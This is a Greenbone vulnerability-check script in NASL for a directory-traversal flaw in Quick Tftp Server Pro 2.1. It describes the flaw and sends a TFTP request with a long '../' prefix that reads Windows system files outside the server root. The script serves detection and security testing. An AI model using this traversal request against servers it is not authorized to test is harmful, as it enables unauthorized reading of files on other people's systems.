Quick Tftp Server Pro 2.1 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100899");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2010-11-09 13:58:26 +0100 (Tue, 09 Nov 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Quick Tftp Server Pro 2.1 Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Remote file access");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "tftpd_backdoor.nasl",
                      "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected", "Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"summary", value:"Quick Tftp Server Pro is prone to a directory-traversal
  vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue can allow an attacker to retrieve
  arbitrary files outside of the FTP server root directory. This may aid in further attacks.");

  script_tag(name:"affected", value:"Quick Tftp Server Pro 2.1 is vulnerable. Other versions may
  also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  exit(0);
}

if (TARGET_IS_IPV6())
  exit(0);

include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");
include("port_service_func.inc");
include("tftp.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if (!tftp_has_reliable_get(port:port))
  exit(0);

files = traversal_files("windows");

foreach file (keys(files)) {
  res = tftp_get(port:port, path:"../../../../../../../../../../../../" + files[file]);
  if (!res)
    continue;

  if (egrep(pattern:file, string:res, icase:TRUE)) {
    report = string("The " + files[file] + " file contains:\n", res);
    security_message(port:port, data:report, proto:"udp");
    exit(0);
  }
}

exit(99);